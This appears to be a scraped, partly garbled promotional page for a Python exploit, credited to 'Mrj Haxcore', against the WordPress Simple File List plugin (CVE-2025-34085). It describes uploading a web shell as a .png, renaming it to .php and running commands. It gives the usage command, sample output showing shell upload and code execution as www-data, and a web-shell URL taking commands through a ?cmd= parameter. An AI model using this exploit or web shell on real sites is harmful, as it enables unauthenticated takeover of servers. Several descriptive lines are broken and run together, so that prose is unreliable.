
Simple File List – Unauthenticated RCE Exploit (CVE-2025-34085)
⚠️ Exploit Code by: Mrj Haxcore
A fully working Python exploit for the WordPress Simple File List plugin (<= 4.2.3), which is vulnerable to unauthenticated remote code execution (RCE) due to insecure file upload and rename logic.
simple-file-list).png, then rename it to .php and execute arbitrary code.multipart/form-data builder (bypasses 415).php, .php5, .phtml, etc.?cmd=�PNG garbage)python3 simple.py https://target.site
[+] Uploading shell as 8dkls0qp.png...
[+] Upload successful.
[+] Trying to rename to: 8dkls0qp.php...
[+] Rename successful: 8dkls0qp.php
[+] Triggering shell: https://target.site/wp-content/uploads/simple-file-list/8dkls0qp.php?cmd=id
[+] Shell output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Manual Visit
https://target.site/wp-content/uploads/simple-file-list/8dkls0qp.php?cmd=whoami